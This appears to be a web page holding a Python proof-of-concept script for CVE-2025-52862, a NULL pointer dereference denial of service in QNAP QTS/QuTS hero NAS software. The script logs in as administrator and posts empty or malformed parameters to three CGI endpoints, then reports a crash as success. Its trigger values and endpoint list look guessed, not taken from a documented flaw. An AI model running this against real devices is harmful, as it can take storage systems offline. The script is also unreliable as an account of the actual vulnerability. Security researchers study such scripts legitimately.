CVE-2025-52862 QNAP操作系统空指针解引用漏洞

# CVE-2025-52862 PoC - QNAP NULL Pointer Dereference DoS # Vulnerability: NULL Pointer Dereference in QNAP QTS/QuTS hero # Requirements: Valid administrator credentials # Impact: Denial of Service (DoS) import requests import sys import socket TARGET_HOST = "192.168.1.100" # Target QNAP NAS IP TARGET_PORT = 8080 # QNAP management web port ADMIN_USER = "admin" ADMIN_PASS = "password" def exploit_null_pointer_deref(): """ Trigger NULL pointer dereference by sending crafted request to vulnerable QNAP service endpoint after authentication. """ session = requests.Session() base_url = f"https://{TARGET_HOST}:{TARGET_PORT}" # Step 1: Authenticate as administrator login_url = f"{base_url}/cgi-bin/authLogin.cgi" login_data = { "user": ADMIN_USER, "pwd": ADMIN_PASS } try: resp = session.post(login_url, data=login_data, verify=False, timeout=10) if resp.status_code != 200: print("[!] Authentication failed") return False print("[*] Authenticated as administrator") except Exception as e: print(f"[!] Connection error: {e}") return False # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable endpoint fails to validate internal pointer/state, # causing a crash when processing specific malformed parameters vuln_endpoints = [ "/cgi-bin/management.cgi", "/cgi-bin/qpkg.cgi", "/cgi-bin/disk_manage.cgi" ] for endpoint in vuln_endpoints: try: # Crafted payload with invalid/empty parameter to trigger NULL deref payload = { "action": "invalid_action_trigger_null", "param": "", "target": "" } url = f"{base_url}{endpoint}" resp = session.post(url, data=payload, verify=False, timeout=5) print(f"[*] Sent payload to {endpoint}") except (socket.timeout, ConnectionError, requests.exceptions.ChunkedEncodingError): print(f"[+] Target service crashed at {endpoint} - DoS successful!") return True except Exception as e: print(f"[*] Request to {endpoint} returned: {type(e).__name__}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-52862 - QNAP NULL Pointer Dereference PoC") print("WARNING: Use only on systems you are authorized to test") print("=" * 60) exploit_null_pointer_deref()